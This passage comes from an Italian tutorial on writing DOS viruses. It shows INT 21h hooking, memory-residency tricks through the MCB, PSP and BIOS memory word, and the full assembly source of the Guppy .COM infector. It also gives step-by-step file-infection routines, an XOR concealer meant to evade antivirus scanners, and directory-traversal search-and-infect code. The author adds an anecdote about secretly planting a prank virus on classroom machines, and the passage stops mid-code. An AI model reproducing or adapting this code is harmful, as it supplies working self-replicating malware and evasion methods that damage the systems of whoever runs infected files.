Oltre a questo bisogna stare atenti che l'interrupt non richiami funzioni che tocca direttamente.
Se ad esempio il vostro interrupt modifica la funzione 3DH dell'int 21H è buona cosa che non la richiami.
Al contrario può invece fare riferimento agli indirizzi che ha precedentemente salvato.

```
Call_Int_21h:
	pushf				;push the flags and perform
	call dword ptr [Int_21_Offset]	;a far call to simulate an
					;INT call.
```

Avevamo detto che i primi 1024 bytes contengono gli indirizzi dei 256 possibili interrupts.
Un metodo alternativo per cambiare e leggere i vettori d'interrupt stà nell'andare a modificare direttamente gli indirizzi in quella tabella.

```
Set_DS_to_Table:			;DS = 0
	xor	ax,ax
	mov	ds,ax

Hook_Int_21:
	mov	ax,offset Int_21_Handler	;ax = Handler Offset
	mov	bx,cs			;bx = Handler Segment

	cli				;clear interrupts
	xchg	ax,word ptr ds:[84h]	;Set AX = Old handler offset
				;and set new offset.
	xchg	bx,word ptr ds:[86h]	;Set BX = Old handler segment
				;and set new segment.
	mov	word ptr cs:[Int_21_Offset],ax
	mov	word ptr cs:[Int_21_Segment],bx
	sti				;restore interrupts

	push	cs
	pop	ds			;restore DS = CS
```

Una delle funzioni che potrebbe eseguire il codice è quella dell'allocazione di memoria per il codice del programma stesso e la terminazione per fare rimenere residente il codice.

L’uso dell’int 27h potrebbe creare problemi avvisando l’utente ignaro che c’è qualche cosa che non va.
Dall’analisi del codice del virus Armageddon è possibile vedere facilmente un metodo alternativo.
Un altro problema è legato alla ricerca di uno spazio di memoria non utilizzato dove inserire il codice.
La memoria video (0b000/0b800) dedicata al monocromatico potrebbe andare bene anche se questo può essere utilizzato da codici molto corti.
Un grande numero di virus utilizza il settore di boot per trovare la memoria.
Prima che il DOS venga eseguito il BIOS salva l’ammontare di memoria bassa in una WORD ubicata all’indirizzo 0:413h.
Questa WORD contiene il numero di Kbytes utilizzabili a partire da 0000:0000 e terminado a A000:0000.
E’ possibile riservarsi della memoria sotraendo a questo numero il numero dei Kbytes utiloizzati dal virus.
Fatto questo si trova il segmento moltiplicando il nuovo valore per 64 (40h) per convertirlo in paagrafi.
Questa è mla vostra area libera dove copiare il virus.
Eseguiamo la copia e quindi settiamo l’interrupt per puntare al suo handler.
Quando il DOS parte considera quest area allocata e il CHKDSK ritorna il numero di k in meno di mememoria aseconda di quanto avete riservato.
Questo è un esempio della tecnica.

```
Get_Current_Amount:
      xor     ax,ax
      mov     ds,ax
      mov     ax,word ptr ds:[413h]          ;ax = memory in K

Reserve_Memory:
      dec     ax
      mov     word ptr ds:[413h],ax          ;lower memory by 1K

Calculate_Free_Segment:
      mov     cl,06
      shl     ax,cl                          ;AX = AX * 64
      mov     es,ax                          ;ES:0 is now the beginning
                                   ;of free memory.
```

Sfortunatamente il metodo precedente funziona solo con il DOS letto o perlomeno non funziona bene in certe circostanze.
Per superare il problema ci si può basare sulla metodologia che il DOS usa per la gestione della memoria, ovvero tramite MCB (Memory Control Blocks) e tramite PSP (Program Segment Prefix).
Quando un file viene letto per essere eseguito il DOS riserva la memoria necessaria per il file e la fa precedere da un header di 16 bytes chiamato MCB.
Questo header informa il DOS sul proprietario del blocco di memoria, della dimensione e se quello è l’ultimo blocco della catena o no.
Il DOS legge una tabella di 256 bytes chiamata PSP immediatamente dopo al MCB.
Il PSP è fondamentalmente una tabella di informazioni per il DOS la quale include la locazione del top relativo alla memoria alta usabile da questo.
Questo contiene anche il DTA, il FCB e la command line del programma.
Vedremo che esistono funzioni relative alla creazione del DTA al fine di non utilizzare quello interno al PSP nel caso in cui si gestisca il tutto da programmi virus.
Se il programma è un .COM esso verrà letto ed eseguito con CS:0 uguale all’inizio del PSP mettendo l’inizio del file ad un offset di 100h.
Ricordiamoci che i .COM utilizzando un solo segmento per tutto non necessitano di header particolari.
Se il programma è un .EXE l’inizio del file verrà letto a CS:0 dove CS è 10h più grande del segmento del PSP.
Questo è importante da ricordare quando si cerca di modificare il PSP dal programma.

Il MCB è 10h più basso in memoria del PSP, o un segmento in meno.
La struttura della tabella completa è la seguente.

Memory Control Blocks

Offset	Name	Length (Bytes)	Description
0	Location	1	M=Last Block, Z=Not Last
1	Owner	2	Segment of start of Memory
3	Size	2	Length in Paragraphs
5	Unknown	3	Supposedly Reserved
8	Owner's Name	8	Name. Appears in mem maps

Program Segment Prefix

Offset	Name	Length (Hex Bytes)	Description
00	Terminate	2	CD20 (Int 20)
02	Top of Memory	2	Usually set at A000.
--			Sometimes needed to
--			lower DOS's memory for
--			a virus.
04	Unknown	1	Supposedly Reserved.
05	CPM stuff	5	Obsolete
0A	Exit to DOS	4	Int 22h handler (IP:CS)
0E	Control C Handler	4	Int 23h handler (IP:CS)
12	Critical Error	4	Int 24h handler (IP:CS)
16	Parent ID	2	Segment of Parent Prog.
18	Handle Table	14	One byte/handle
2C	Environment Segment	2	Segment of Envir. Vars.
2E	User Stack	4	Stack address
32	File Handle Count	2	Size of Handle Table
34	Handle Table Address	4	If not at 12h
38	Unknown	1c	Supposedly Reserved
50	Dos Call and RET	3	INT 21, RET
53	Unknown	9	Supposedly Reserved
5C	FCB 1	10	File Control Block
6C	FCB 2	10	""
7C	Unknown	4	Reserved
80	Command Line Length	1	Also used as the
81	Command Line	7f	default DTA.

Usando qeste informazioni ci sono due modi per diventare residenti.
Il primo è quello di dire al DOS che il top della memoria è uno o due kbytes in meno abbassando la memoria MCB fino a farlo corrispondere e quindi abbassando anche la memoria del BIOS come mostrato prima.
Questo metodo permette al virus di diventare residente usando una piccola porzione di codice e evitando di essere listato dalla MEM’s list.
Sfortunatamente l’abbasamento della memoria è evvidente usando programmi che la vanno a leggere (CHKDSK ecc.).
L’altro metodo è quello di creare un altro memory block cme l’altro e settando come proprietario se stesswo o al limitre il command.com.
Questo può essere fatto anche con funzioni dedicate alla memoria del DOS.
Vediamo il metodo in cui si abbassa il top della memoria nel campo del PSP e poi abbassando la memoria del DOS.

```
;This example assumes .COM file structure where DS = CS = PSP.

Get_And_Lower_Top_Of_Memory:
      mov     ax,word ptr ds:[02]            ;Get Top of Memory (PSP)
      sub     ax,40h                         ;Lower it by 1K (40h paragraphs)
      mov     word ptr ds:[02],ax            ;And Replace Value.

Get_MCB_Segment:
      mov     ax,ds                          ;AX = CS = DS
```

```
      dec     ax                                ;Get Segment of MCB
      mov     ds,ax                             ;And put into DS

Shrink_Block:
      sub     word ptr ds:[03],40h              ;Subtract 1K from host's MCB
                                     ;allocation (paragraphs)
Allocate_From_Bios:
      xor     ax,ax
      mov     ds,ax                             ;DS = 0
      dec     word ptr ds:[413h]                ;Allocate 1K from Bios

Find_Free_Segment:
      mov     ax,word ptr ds:[413h]             ;Get memory in 1K
      mov     cl,6
      shl     ax,cl                             ;change to segment (multiply
                                     ;by 64 or 40h)

                                     ;AX now equals free segment
                                     ;of memory

      mov     es,ax                             ;Set ES = Free Segment
```

L’allocazione tramite funzioni DOS è spesso il metodo utilizzato dagli scrittori di virus.
Per fare questo si ricerca il massimo blocco disponibile chiamando la funzione 4Ah (Modify Memory Allocation) dell’ INT 21h con una richiesta in paragrafi di 0ffffh.
Dato che questo è impossibile la funzione setta il carry flag nel processore ed inserisce il massimo di memoria disponibile in BX.
Sotraete a questa la dimensione dei paragrafi che desiderate (+1 per sicurezza) ed eseguite nuovamente la funzione 4Ah con il nuovo valore in BX.
Questo riserverà sufficente spazio per il virus al top della memoria.
A questo punto utilizzate la funzione 48h (Allocate Memory) con BX settato al numero di paragrafi voluto senza quel +1 di prima.
La funzione restituirà in AX il segmento di memoria libera.
Ora si dovrà settare il nuovo blocco come l’ultimo della catena settando i primi bytes del MCB a ‘Z’ cambiando anche il proprietario.
I proprietario è usualmente un valore a word corrispondente al program’s PSP (MCB Seg+1).
Questo dovrebbe funzionare oppure dovrete settarlo con un valore riservato tipo 08 (I/O).
Dopo che questo è stato fatto, se volete, potete settare il nome del proprietario nel campo che parte a MCB_SEG:0008 con un nome al massimo di 8 bytes.

```
Get_Maximum_Memory:

      mov  ah,4ah
      mov  bx,0ffffh                                    ;Request too much
      int  21h                                          ;memory - maximum size
                                             ;returned in BX.
Subtract_Needed_Memory:
      sub     bx,((end_vir-start_vir+0fh)/10h)*2+1     ;Shrink Block by
                                             ;(virsize*2)+1

Shrink_Block:                                             ;BX = Paragraphs
      mov     ah,4ah                                    ;     Requested
      int     21h                                       ;ES = Segment of Block

Allocate_Memory:
      mov     ah,48h
      mov     bx,((end_vir-start_vir+0fh)/10h)*2       ;Allocate (virsize*2)
      int     21h                                       ;Returns AX = Free Seg
```

```
Point_ES_to_New_MCB:
      dec     ax
      mov     es,ax
      inc     ax

Set_As_Last_Block:
      mov     byte ptr es:[0],'Z'                      ;Mark as last
                                                 ;in chain
Set_Owner:

;Note: The number in the Owner field is usually the segment of the program's
;      PSP.  Certain values, however, have special meanings.  08, for example,
;      indicates I/O or Command.COM as the owner.  This can be useful for
;      deceptions.  The only requirement of this is that the owner will NOT
;      be deallocated.

      mov     word ptr es:[1],ax                       ;Set owner as itself.

Set_Name:
;Note: This is not necessary, but it can be used for many purposes.

      mov     di,08                                   ;ES:DI = owner name
                                                ;DOS 4+
      mov     si,offset virname
      push    cs
      pop     ds
      mov     cx,4
      repnz   movsw           ;Copy name into field.
                        ;This will show up in programs like MEM and
                        ;System Information.


      .............           ;Continue program, hook interrupts, etc.

virname          db      'reMEMber'
```

La manipolazione diretta è simile come fine a quella eseguita con il DOS ma con passi differenti.
Un vantaggio di questo metodo è che uno può determinare che cosa permettere al DOS di visualizzare.
Il codice è il seguente.

```
Get_Maximum_Memory:
      mov     ax,ds
      dec     ax
      mov     ds,ax                                   ;DS = MCB
      mov     bx,word ptr ds:[03]                     ;Get Block Size

Subtract_Needed_Memory:
      sub     bx,((end_vir-start_vir+0fh)/10h)*2+1     ;Shrink Block by
                                                 ;(virsize*2)+1
Shrink_Block:
      mov     word ptr ds:[03h],bx                    ;Lower Block Size

;Note:  If you want your program to show up in a memory map, set this byte
;       to 'M', meaning that it is NOT the last block.  Otherwise, set it
;       to 'Z' so that MEM and like programs will not trace past it.

      mov     byte ptr ds:[0],'M'                     ;Mark host block's
                                                ;location in chain.
```

```
Lower_Top_Of_Memory:                                    ;Lower field in PSP
      sub     word ptr ds:[12h],((end_vir-start_vir+0fh)/10h)*2+1

Point_ES_to_New_MCB:                                     ;Get New top of mem
      mov     ax,word ptr ds:[12]                       ;from PSP.
      mov     es,ax                                     ;ES = new segment.

Set_As_Last_Block:
      mov     byte ptr es:[0],'Z'                       ;Mark as last
                                            ;in chain
Set_Owner:
      mov     word ptr es:[1],ax                        ;Set owner as itself.
```

Uno dei problemi, che vedremmo in modo più dettagliato alla fine del capitolo, riguarda l'autoriconoscimento del virus.
Questo serve a fare in modo che il codice sappia riconoscere quali programmi sono già stati toccati.

```
Install_Check:
      mov     ax,0deadh
      int     21h                     ;Is it installed?
      cmp     ax,0deadh
      je      Already_Installed       ;Yes? jump to Already_Installed
Install:                                ;otherwise install it.
      ..........

Int_21_Handler:
      cmp     ah,4bh
      je      execute
      cmp     ah,3dh
      je      open
      cmp     ax,0deadh               ;Is it an install check?
      je      Install_Check           ;Yes, jump to Install_Check.
Go_Int_21:
            db      0ea
Int_21_IP       dw      0
Int_21_CS       dw      0

Install_Check:                          ;Save value in AX
      iret
```

Il codice che segue comprende anche il codice di inoculazione del virus.
Si tratta di un codice completo relativo al GUPPY VIRUS.

```
;***************************************************************************
;*                            The Guppy Virus                              *
;***************************************************************************
;*      The Guppy virus is a relatively simple, very small, resident .COM  *
;*infector.  It uses the standard way for a regular program to go resident *
;*(i.e. Int 27) which makes the infected program terminate the first time  *
;*run.  After that, however, infected files will run perfectly.  This virus*
;*uses interesting methods to restore the storage bytes, as well as a      *
;*strange technique to restore control to an infected file after it has    *
;*already gone memory resident.                                            *
;*                                                                         *
;***************************************************************************

.model tiny
.radix 16
.code

            org     100h
```

```
start:
            call    Get_Offset

Get_Offset:
            pop     si                  ;SI = offset of vir +
                                  ;(Get_Offset-Start)
            mov     ax,3521h
            mov     bx,ax
            int     21h                 ;Get Int 21 Address

            mov     ds:[si+Int_21_Offset-103],bx      ;Save old Int 21
            mov     ds:[si+Int_21_Segment-103],es

            ;mov     dx,si              ;Bytes vary between assemblers
            db      89,0f2

            ;add     dx,offset Int_21_Handler-104
            db      83,0c2,1f

            mov     ah,25h
            int     21h                 ;Set Int 21

            inc     dh                  ;Add 100h bytes to go resident
                                  ;from handler
            push    cs
            pop     es
            int     27h                 ;Terminate & stay resident
                                  ;DX+1 = end of area to go res.


Int_21_Handler:
            cmp     ax,4B00h            ;Is call a Load & Execute?
            je      Infect              ;Yes? Jump Infect

            cmp     al,21h              ;Might it be a residency check?
            jne     Go_Int_21           ;No? Restore control to Int 21

            ;cmp     ax,bx              ;Are AX and BX the same?
            db      39,0d8

            jne     Go_Int_21           ;No, Restore control to Int 21

            push    word ptr [si+3dh]  ;3dh = offset of Storage_Bytes -
                                  ;Get_Offset

                                  ;This gets the first word of
                                  ;storage bytes, which is then
                                  ;popped to CS:100 to restore it.

            mov     bx,offset ds:[100] ;100 = Beginning of COM
            pop     word ptr [bx]

            mov     cl,[si+3Fh]         ;Restore third storage byte.
            mov     [bx+2],cl

Restore_Control:
            pop     cx
            push    bx
            iret                             ;Jump back to Host program.

Storage_Bytes         db      0, 0, 0

Infect:
```

```
            push    ax
            push    bx
            push    dx
            push    ds
            mov     ax,3D02h
            int     21h             ;Open File for Read/Write Access

            xchg    ax,bx
            call    Get_Offset_Two

Get_Offset_Two:
            pop     si
            push    cs
            pop     ds
            mov     ah,3F
            mov     cx,3
            sub     si,10           ;Set SI=Storage_Bytes

            ;mov     dx,si
            db      89,0f2

            int     21h             ;Read first 3 bytes of file

            cmp     byte ptr [si],0E9h      ;Is the first command a jump?
            jne     Close_File                   ;No? Jump to Close_File
            mov     ax,4202h
            xor     dx,dx
            xor     cx,cx
            int     21h                     ;Go to end of file

            xchg    ax,di
            mov     ah,40h
            mov     cl,98h                  ;Virus Size

            ;mov     dx,si
            db      89,0f2

            sub     dx,40h                  ;Beginning of virus
            int     21h                     ;Append virus to new host

            mov     ax,4200h
            xor     cx,cx
            xor     dx,dx
            int     21h                     ;Go back to beginning of file

            mov     cl,3

            ;sub     di,cx
            db      29,0cf

            mov     [si+1],di
            mov     ah,40h

            ;mov     dx,si
            db      89,0f2

            int     21h                     ;Write 3 byte jump to file

Close_File:
            mov     ah,3Eh
            int     21h

            pop     ds
```

```
            pop     dx
            pop     bx
            pop     ax
Go_Int_21:
            db      0EAh                    ;Go On With Int 21
Int_21_Offset   dw      ?
Int_21_Segment  dw      ?

end     start
;***************************************************************************
```

Vediamo ora di approfondire alcuni concetti legati ad altri punti legati ai virus.
Alcune informazioni legate alla struttura del virus sono essenziali per la comprensione di altri punti che vedremo a breve.
Un virus può essere diviso in tre parti : il replicatore, l'ocultatore e la bomba.
Il replicatore controlla il rapporto del virus con gli altri files, l'ocultatore cerca di no farlo scoprire mentre la bomba esegue quello che deve fare il virus quandeo si verifica la condizione di attivazione.
Il lavoro del replicatore è quello di installare il virus nel sistema su cui si trova.
Il replicadore deve quindi diffondere il virus nel sistema senza distruggere i files che va a contaminare.
Il modello più semplice è quello, come abbiamo fgià visto, che serve ad infettare i files .COM.
Il virus per prima cosa salva i primi bytes del file da infettare, quindi salva una prima porzione di codice ed infine salva il rimanente alla fine.

```
+----------------+      +------------+
|P1 |  P2        |      |V1  | V2    |
+----------------+      +------------+
Il file infettato       Il codice del virus
```

Nel diagramma P1 è la prima parte del file, P2 la seconda mentre V1 e V2 sono la prima e la seconda parte del virus.
Notate che la parte P1 deve essere della stessa dimensione di V1 mentre la seconda parte, P2, può essere vanche di dimensioni diverse da V2.
Il virus prima salva P1 e lo copia alla fine del file oppure dentro al codice del virus stesso.
Assumiamo che esegua la copia alla fine del file.
In questo caso il diagramma diventa.

```
+---------------------+
| P1 | P2        | P1 |
+---------------------+
```

Ora il virus copia la prima parte di se stesso alòl'inizio del file.

```
+---------------------+
| V1 | P2        | P1 |
+---------------------+
```

Finalmente il virus copia la seconda parte di se stesso alla fine del file.

```
+-----------------------------+
| V1 | P2        | P1 | V2    |
+-----------------------------+
```

Il problema ora è : che cosa fanno V1 e V2 ?
V1 trasferisce il controllo del programma a V2.
Il codice è molto semplice

```
      JMP FAR PTR Duh        ; Takes four bytes
Duh   DW V2_Start                  ; Takes two bytes
```

Duh è un far pointer (Segment:Offset) che punta alle prime istruzioni di V2.
Notate che il valorew di Duh deve essere cambiato per riflettere la lunghezza del file che è infettato.
Per esempio, se la dimensione originale del programma è 79 bytes, Duh deve essere cambiato in modo che l'istruzione a CS:[155h] sia eseguita.
Il valore di Duh è ottenuto aggiungendo la lunghezza di V1, la dimensione originale del file infettato, e 256 (PSP).
In questo caso, V1 = 6 e P1 + P2 = 79, quindi 6 + 79 + 256 = 341 decimale (155 hex).
Un modo alternativo, più complicato da comprendere è il seguente :

```
      DB 1101001b            ; Code for JMP (2 byte-displacement)
Duh DW V2_Start - OFFSET Duh ; 2 byte displacement
```

Questo inserisce un salto all'offset direttamente dentro al codice seguente.
Si deve anche sostituire la seconda linea con

```
DW V2_Start - $
```

V2 contiene il resto del codice.
L'ultima parte di V2 copia P1 su V1 (in memoria e non su disco) e quindi trasferisce il controllo all'inizio del file (in memoria).
Il programma originale verrà eseguito come se nulla gli fosse stato attaccato.
Anche in questo caso il codice è semplice:

```
      MOV SI, V2_START       ; V2_START is a LABEL marking where V2 starts
      SUB SI, V1_LENGTH      ; Go back to where P1 is stored
      MOV DI, 0100h          ; All COM files are loaded @ CS:[100h] in memory
      MOV CX, V1_LENGTH      ; Move CX bytes
      REP MOVSB              ; DS:[SI] - ES:[DI]
      MOV DI, 0100h
      JMP DI
```

Questo codice assume che P1 sia allocato appena prima di V2 This code assumes that P1 is located just before V2, come in:

```
P1_Stored_Here:
.
.
.
V2_Start:
```

E' anche dato per scontato che ES sia uguale a CS.
Se questo è falso cambiamo il codice relativo.
Questo è un esempio:

```
PUSH CS           ; Store CS
POP ES            ; and move it to ES
                  ; Note MOV ES, CS is not a valid instruction
MOV SI, P1_START  ; Move from whereever P1 is stored
MOV DI, 0100h     ; to CS:[100h]
MOV CX, V1_LENGTH
REP MOVSB

MOV DI, 0100h
JMP DI
```

Questo codice prima muove CS in ES e quindi setta il puntatore sorgente di MOVSB a dove P1 è piazzato.

Ricordatevi che tutto è riferito alla in memoria dove è locato P1 e non è relativo ad un file fisico.
L'offset di P1 è di 100h maggiore della locazione del file fisico il quale, come un .COM, è letto partendo dalla locazione 100h (CS:100h).
Questo è un riassunto delle parti del virus e delle etichette :

```
V1_Start:
      JMP FAR PTR Duh
Duh   DW V2_Start
V1_End:

P2_Start:
P2_End:

P1_Start:
            ; First part of the program stored here for future use
P1_End:

V2_Start:
            ; Real Stuff
V2_End:

V1_Length EQU V1_End - V1_Start
```

Alternativamente potete salvare P1 in V2 come segue:

```
V2_Start:

P1_Start:
P1_End:

V2_End:
```

Questo è quanto si deve fare per infettare un file senza distruggerlo.
I file .EXE essendo segmentati e quindi con headers di testa e altre cosine, sono un pò più complessi.
Torniamo indietro alla parte del replicatore.
I passi sono i seguenti :

1) Trovare il file
2) Testare se è da infettare
3) Infettarlo
4) Se infettato sufficientemente STOP
5) Altrimenti ritorna a 1

Dopo aver trovato il file lo si apre, si leggono i primi bytes e si controlla se corrispondono ai primi di V1.
Se esiste questa corrispondenza allora significa che il file è già infettato.
E importante che non venga intfettato nuvamente lo stesso file.
Questo è dato dal fatto che in genere un parte del codice viene aggiunta al file per cui se si continuasse a controllare il file e se si continuasse ad aggiungere in coda il resto ....
Se il file non è infettato :

1) Cambiate gli attributi del file a NULL (resettateli).
2) Salvate la data e il tempo del file.
3) Chiudetelo
4) Apritelo in modo READ/WRITE
5) Salvate P1 e appendetelo alloa fine del file
6) Copiate V1 all'inizio ma cambiate l'offset a cui salta per trasferirgli il controllo in modo corretto. Guardate la parte di codice precedente.
7) Appendete V2 alla fine del file
8) Eseguite il restore dei file attributes/date/time.

Tra le altre cose, delle quali abbiamo già visto qulche cosa, ci sono :
Una voce da aggiungere è la seguente.

Cancellazione delle tracce

Questo viene definito in gergo (in inglese) CONCEALER ed è quella parte che nasconde alla vista degli scanner antivirus il nostro ospite.
Il metodo più semplice è quello del codificatore.
Il codice per un semplice codificatore a XOR è :

```
encrypt_val db ?
decrypt:
encrypt:
      mov ah, encrypt_val

      mov cx, part_to_encrypt_end - part_to_encrypt_start
      mov si, part_to_encrypt_start
      mov di, si

xor_loop:
      lodsb                  ; DS:[SI] - AL
      xor al, ah
      stosb                  ; AL - ES:[DI]
      loop xor_loop
      ret
```

Notate che il codificatore e il decodificatore sono gli stessi.
Potete chiamare la procedura da dovunque nel programma ma siate sicuri di non chiamarla da una parte che deve essere codificata se non tutto si pianterà.
Quindi scrivete il virus, settate il valore di codifica a 0.
part_to_encrypt_start e part_to_encrypt_end contengono l'area che deve essere codificata.
Usate una CALL decrypt all'inizio di V2 per codificare il file e quindi eseguite il programma.
Qando si infetta un file, per prima cosa cambiate il valore di encrypt_val, quindi eseguite la CALL encrypt, e dopo scrivete V2 alla fine del file, e dopo ancora eseguite la CALL decrypt.
Ricordo nuovamente di non eseguire la chiamata da un punto che deve essere codificato.
Questo è quanto V2 mostra con il NASCONDITORE (concealer):

```
V2_Start:
Concealer_Start:
.
.
.
Concealer_End:

Replicator_Start:
.
.
.
Replicator_End:

Part_To_Encrypt_Start:
.
.
.
Part_To_Encrypt_End:
V2_End:
```

Alternativamente potete muovere una parte non codificata compressa tra Part_To_Encrypt_End e V2_End.
La codifica rende la vita difficile agli scanner.
Essa nasconde anche alcune stringhe presenti nel vostro programma.
La codifica è solo un metodo per nascondere il virus ed inoltre potrebbe disporre di varianti.
Un altro metodo è quello di cambiare gli interrupts in modo che alcuni risultati vengano modificati e che comunque modifichino il comportamento di certi comandi e utilities.
La perte BOMBA del virus ovvero la parte che mostra al mondo la propria esistenza varia a seconda della vostra fantasia.
Io anni fà odiavo DB3 perchè per me i programmatori DB3 erano 'Mangiatori di Cioccorì'.
Un virus analizzava gli input e se uno cercava di inserire l'estensione DBF ad un file il virus gli cambiava, mentre lui scriveva, una lettera dell'estensione per cui gli veniva xxx.DCF, xxxx.DBH e dopo 10 volte lo avvertiva che per motivi di orgoglio il sistema si rifiutava di usare volgari files .dbf.
Beh! Pensate a quante cose potrebbero sorgere nella VOSTRA (non nella mia) MENTE MALATA E PERVERSA!!
Una cosa che mi è accaduta grazie ad un virus che ve la voglio raccontare è la seguente.
Tanti anni fa, nel 1984, insegnavo informatica in un istituto.
Iniziai nel 1984 con il BASIC e nel 1986 cambiai l'indirizzo del corso con il LINGUAGGIO C.
L'aula di laboratorio era il fiore all'occhiello per gli istituti di un tempo per cui quando veniva una personalità in visita il preside lo accompagnava, orgoglioso, a vedere questa classe.
Il corso era frequentato da persone di circa 23-24 anni di sesso maschile e femminile.
Un anno fu frquentato da alcune ragazze NOTEVOLI una delle quali faceva l'indossatrice di biancheria intima (per farvi capire ...).
Ebbi un idea geniale.
Feci un virus che una volta installato a tempi random faceva comparire sul video un immagine di du4e che si davano 'DUE COLPETTI' e poi sparivano.
In pratica tu lavoravi con quello che volevi e di colpo 'SU...GIU...SU...GIU...VIAAA' e tutto spariva.
Venne in visita il vescovo di una nota citta della Sicilia e il preside lo accompagno a vedere l'aula.
Appena entrato si apposto alle spalle di una di queste belle rampolle e si mise ad osservare il lavoro che stavano svolgendo, con a fianco il preside che era tutto gonfio e pavoneggiante.
Di colpo ... SU....GIU....SU....GIU , tanto rapidamente che il vescovo disse solo : 'Opps ... che è stato ... ho visto un nuvoletta che è apparsa e che è subito andata via...'.
Il preside che invece aveva avuto il tempo di capire di cosa si trattasse passo dal sorriso smagliante ad un espressione terrorizzata e il suo clore passo tutta la tavolozza dei 16 milioni di colori anche se quel tempo c'era solo la CGI con 256 colori.
Prese sottobraccio il vescovo e con una scusa lo portò via di li.
Quando torno se la prese con tutti gli alunni e devo confessare di essere stato super-stronzo per non aver avuto il coraggio di dirgli che lo avevo fatto io.
Se lo avessi confessato sarei stato leale ma questo mio aspetto di lealtà sarebbe stato slo riportato sulla mia lapide in qanto non penso che sarei soppravissuto all'impatto.
Questo è quello che si definisce con il BOMB di un virus !!
Per BOMB quindi si intende quello che fa il virius comparendo (e magari quella che vi infilano in un orecchio per non dire da qualche altra parte se vi pescano).
Quella che viene definita come DISTRIBUTION è quell'altra parte della propagazione del virus ovvero quel supporto che volete usare per divulgarlo.
Tutti questi virus eseguono il loro lavoro attraverso il sistema.
Questi rendono

Una delle cose da fare inizialmente è legata alla ricerca del file da utilizzare per l'inserimento del codice.
Il seguente programma in assembler ezsegue la ricerca trasversale nelle directory del sistema.
Il codice è una versione modificata del The Funky Bob Ross Virus [Beta].

```
traverse_fcn proc near

      push bp                               ; Create stack frame
      mov bp,sp sub sp,44                   ; Allocate space for DTA
      call infect_directory                 ; Go to search & destroy routines
      mov ah,1Ah                            ;Set DTA
      lea dx,word ptr [bp-44]               ; to space allotted
      int 21h                               ;Do it now!
      mov ah, 4Eh                           ;Find first
      mov cx,16                             ;Directory mask
      lea dx,[si+offset dir_mask]           ; *.* int 21h
      jmp short isdirok
gonow:
      cmp byte ptr [bp-14], '.'             ; Is first char == '.'?
      je short donext                       ; If so, loop again
      lea dx,word ptr [bp-14]               ; else load dirname
      mov ah,3Bh                            ; and changedir there
      int 21h
      jc short donext                       ; Do next if invalid
      inc word ptr [si+offset nest]         ; nest++
      call near ptr traverse_fcn            ; recurse directory
donext:
      lea dx,word ptr [bp-44]               ; Load space allocated for DTA
      mov ah,1Ah                            ; and set DTA to this new area
      int 21h                               ; 'cause it might have changed
      mov ah,4Fh                            ;Find next int 21h
isdirok:
      jnc gonow                             ; If OK, jmp elsewhere
      cmp word ptr [si+offset nest], 0      ; If root directory ; (nest == 0)
      jle short cleanup                     ; then Quit
      dec word ptr [si+offset nest]         ; Else decrement nest
      lea dx, [si+offset back_dir]          ; '..'
      mov ah,3Bh                            ; Change directory
      int 21h                               ; to previous one
cleanup:
      mov sp,bp
      pop bp
      ret
traverse_fcn endp

; Variables

      nest dw 0
      back_dir db '..',0
      dir_mask db '*.*',0
```

La seguente aggiunta permette di tornare indietro di una directory ed di ripetere l'operazione di controllo nel caso in cui non si sia trovato il numero voluto di programmi da usare come vettori del codice.

```
dir_loopy:
      call infect_directory
      lea dx, [bp+dotdot]
      mov ah, 3bh            ; CHDIR
      int 21h jnc dir_loopy        ; Carry set if in root
                                   ; Variables
      dotdot db '..',0
```

La funzione infect_directory utilizza i metodi FINDFIRST e FINDNEXT per la ricerca dei files.
Quando viene trovato un file bisogna settare un nuovo DTA e non utilizzare il DTA presente nel PSP dato che il programma attivandolo se ne accorgerebbe.
La funzione dell'INT 21h (Set DTA) serve allo scopo .

```
      mov ah, 1Ah                  ; Set DTA
      lea dx, [bp+offset DTA]      ; to variable called DTA (wow!)
      int 21h
```

A questo punto si inzia con la procedura del FINFIRST e FINDNEXT.

```
      mov ah, 4Eh                  ; Find first file
      mov cx, 0007h                ; Any file attribute
      lea dx, [bp+offset file_mask]; DS:[DX] -- filemask
      int 21h
      jc none_found
found_another:
      call check_infection
      mov ah, 4Fh                  ; Find next file
      int 21h
      jnc found_another
none_found:
```

Invece di cercare prima i .EXE e dopo i .COM è sufficiente ricercare *.* e poi controllare se l'estensione è una di quelle volute.

Un sistema prudente cerca di non infettare files che verrebbero controllati facilmente come ad esempio il COMMAND.COM.
Se si controlla i primi due byte e si trova 'ND' allora il file è appunto il command.com

```
      cmp word ptr [bp+offset DTA+35], 'DN' ; Reverse word order
      jz fail_check
```

Un altra procedure che il programma dovrà attivare è legata al fatto di dover controllare se il file trovato è già stato infettato dal programma.
Per fare questo normalmente ci si supporta su certi pezzi di codice che sono presenti nel programma.

```
      mov ah,3Fh ; Read first three
      mov cx, 3 ; bytes of the file
      lea dx, [bp+offset buffer] ; to the buffer
      int 21h
      mov ax, 4202h ; SEEK from EOF
      xor cx, cx ; DX:CX = offset
      xor dx, dx ; Returns filesize
      int 21h ; in DX:AX
      sub ax, virus_size + 3
      cmp word ptr [bp+offset buffer+1], ax
      jnz infect_it

bomb_out:

      mov ah, 3Eh ; else close the file
      int 21h ; and go find another
```

In questo esempio si suppone che BX contenga l'handle del file e che virus_size sia la dimensione del virus.
In pratica vengono letti i primi tre bytes e dopo il controllo viene eseguito un salto.

```
mov ah, 3Fh ; Read the first four
mov cx, 4 ; bytes of the file into
lea dx, [bp+offset buffer] ; the buffer.
int 21h
cmp byte ptr [buffer+3], infection_id_byte ; Check the fourth
jz bomb_out ; byte for the marker
```

infect_it:

La parte fondamentale del programma è il replicatore.
Dopo aver trovato un file idoneo è necessario salvare gli attributi di questo come data, ora e dimensioni per un uso successivo.
Il seguente è uno spaccato del DTA.

Offset	Size	What it is
0h	21 BYTES	Reserved, varies as per DOS version
15h	BYTE	File attribute
16h	WORD	File time
18h	WORD	File date
1Ah	DWORD	File size
1Eh	13 BYTES	ASCIIZ filename + extension

Il seguente codice salva le informazioni dal DTA.

```
lea si, [bp+offset DTA+15h] ; Start from attributes
mov cx, 9 ; Finish with size
lea di, [bp+offset f_attr] ; Move into your locations
rep movsb
```

```
; Variables needed

f_attr db ?
f_time dw ?
f_date dw ?
f_size dd ?
```

Ora è possibile cambiare gli attributi tramite INT 21h/Function 43h/Subfunction 01h.
Questo è per permettere l'infezione di file nascosti, di sistema e read only.

```
lea dx, [bp+offset DTA+1eh] ; DX points to filename in
mov ax, 4301h ; DTA
xor cx, cx ; Clear file attributes
int 21h ; Issue the call
```

A questo punto è possibile aprire il file e usare l'handle per lettura e scrittura.

```
lea dx, [bp+offset DTA+1eh] ; Use filename in DTA
